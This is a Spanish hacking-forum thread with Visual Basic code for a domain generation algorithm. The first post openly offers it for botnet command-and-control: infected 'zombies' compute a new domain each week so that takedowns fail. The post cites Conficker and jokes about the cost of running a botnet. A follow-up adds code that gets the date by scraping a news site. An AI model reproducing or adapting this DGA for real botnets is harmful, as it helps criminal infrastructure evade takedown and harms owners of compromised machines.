elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Rompecabezas de Bitcoin, Medio millón USD en premios


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP)
| | | |-+  Programación Visual Basic (Moderadores: LeandroA, seba123neo)
| | | | |-+  [SNIPPET] GenerateDomain - Nombre de dominio a partir de una fecha
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [SNIPPET] GenerateDomain - Nombre de dominio a partir de una fecha  (Leído 1,439 veces)
Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
[SNIPPET] GenerateDomain - Nombre de dominio a partir de una fecha
« en: 6 Julio 2010, 17:00 pm »

Código
  1. Public Function GenerateDomain(ByVal dDate As Date, Optional ByVal lLength As Long = 5) As String
  2.    Const sCharSet  As String = "abcdefghijklmnopqrstuvwxyz0123456789qwertyuiopasdfghjklñzxcvbnm0987654321"
  3.    Dim sSuffix     As String
  4.    Dim iDay        As Single
  5.    Dim iMonth      As Single
  6.    Dim iYear       As Single
  7.    Dim lNumb       As Long
  8.    Dim i           As Long
  9.    Dim lPos        As Long
  10.  
  11.    iDay = Day(dDate)
  12.    iMonth = Month(dDate)
  13.    iYear = Year(dDate)
  14.  
  15.    sSuffix = Choose(((iMonth Xor iDay) Mod 9) + 1, "com", "net", "es", "co.uk", "ws", "org", "us", "info", "mx")
  16.  
  17.    lNumb = ((iYear And &HFF00&) \ &H100) * ((iDay * (Tan(iYear And &HFF))) Xor Cos(iMonth * 10))
  18.    lNumb = Abs(lNumb)
  19.    If lNumb Mod 2 Then lNumb = lNumb Xor (iYear \ (iMonth * iDay))
  20.  
  21.    For i = 1 To lLength
  22.        lPos = Abs(((lNumb * (i Xor lNumb / 2)) Mod Len(sCharSet)) - Len(sCharSet))
  23.        GenerateDomain = GenerateDomain & Mid$(sCharSet, lPos, 1)
  24.    Next i
  25.  
  26.    GenerateDomain = GenerateDomain & "." & sSuffix
  27. End Function

Esta funcion genera un nombre de dominio en base a una fecha ;)

Utilidad? No se si sabreis algo sobre BotNets... pero imaginemos que queremos controlar una red de Zombies y , claro, utilizar un dominio fijo para la manejarlos no es seguro, ya que te lo capan y se acabo la juerga... Asi que tu compras los dominios por ejemplo de forma semanal, y tus Zombies generan cada Domingo el dominio al que se conectaran... Tachan! :xD

Espero que se entienda para que sirve :P

Un ejemplo de BotNet que utiliza este sistema es la conocidisima Conficker :)

Ejemplo para hoy:
Código
  1. Debug.Print GenerateDomain(Now, 10)
Hoy tendriamos que comprar este dominio:
Código:
ra8530yzvu.net

Nos costaria 6€ al año, y en una semana nos dariamos de baja... ese es el precio de mantener viva to BotNet :P 6€ por semana :laugh:, tambien se podria aplicar este metodo con servicios web gratuitos... pero nosostros somos empresarios de los buenos :laugh: :laugh: :silbar:

Saludos ;)


« Última modificación: 6 Julio 2010, 17:06 pm por Karcrack » En línea

BlackZeroX
Wiki

Desconectado Desconectado

Mensajes: 3.158


I'Love...!¡.


Ver Perfil WWW
Re: [SNIPPET] GenerateDomain - Nombre de dominio a partir de una fecha
« Respuesta #1 en: 7 Julio 2010, 06:07 am »

Lo mejor seria que tomara la hora y fecha de un servidor publico ya qué hay muchas PC con horas erróneas y la verdad qué no es rentable (de alguna manera) si se toma la hora locamente por ejemplo!¡.

Por otro lado: El algoritmo estaría bueno para tener seriales activos solo un día en especifico!¡. ID's específicos de un Día determinado para un log o similares (Sol si no tiene secuencia repetitiva de amplia longitud, como mínimo 5 años)!¡.


Sangriento Infierno Lunar!¡.


En línea

The Dark Shadow is my passion.
Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: [SNIPPET] GenerateDomain - Nombre de dominio a partir de una fecha
« Respuesta #2 en: 7 Julio 2010, 10:21 am »

Lo mejor seria que tomara la hora y fecha de un servidor publico ya qué hay muchas PC con horas erróneas y la verdad qué no es rentable (de alguna manera) si se toma la hora locamente por ejemplo!¡.
Realmente la hora da igual para este algoritmo, simplemente es necesaria la fecha ;)
Aqui tienes un codigo que saca la fecha :D:
Código
  1. '---------------------------------------------------------------------------------------
  2. ' Module    : mGetRealDay
  3. ' Author    : Karcrack
  4. ' DateTime  : 20/01/2009  17:15
  5. ' Purpose   : Obtener la fecha actual...
  6. '---------------------------------------------------------------------------------------
  7.  
  8. Option Explicit
  9.  
  10. Public Function GetDate(Optional ByVal sFormat As String = "DD-MM-YYYY") As String
  11.    Dim oHttp       As Object 'New WinHttp.WinHttpRequest
  12.    Dim sData       As String
  13.  
  14.    'Cargamos el WinHttp
  15.    Set oHttp = CreateObject("WinHttp.WinHttpRequest.5.1")
  16.    With oHttp
  17.        'Establecemos el metodo de conexion y la URL
  18.        .Open "GET", "http://www.larazon.es/"
  19.        'Enviamos la peticion
  20.        .Send
  21.        'Obtenemos el resultado
  22.        sData = .ResponseText
  23.    End With
  24.    'Descargamos el WinHttp
  25.    Set oHttp = Nothing
  26.    'Obtenemos la fecha
  27.    sData = Split(Split(sData, Replace$("<p class='fecha_actualizacion'><span>", "'", Chr$(34)))(1), " </span>")(0)
  28.    'Y le damos formato =D
  29.    GetDate = Format$(sData, sFormat)
  30. End Function
Código:
http://foro.elhacker.net/programacion_vb/src_obtener_la_fecha_real-t242329.0.html;msg1168082

Saludos ;)
« Última modificación: 7 Julio 2010, 10:26 am por Karcrack » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines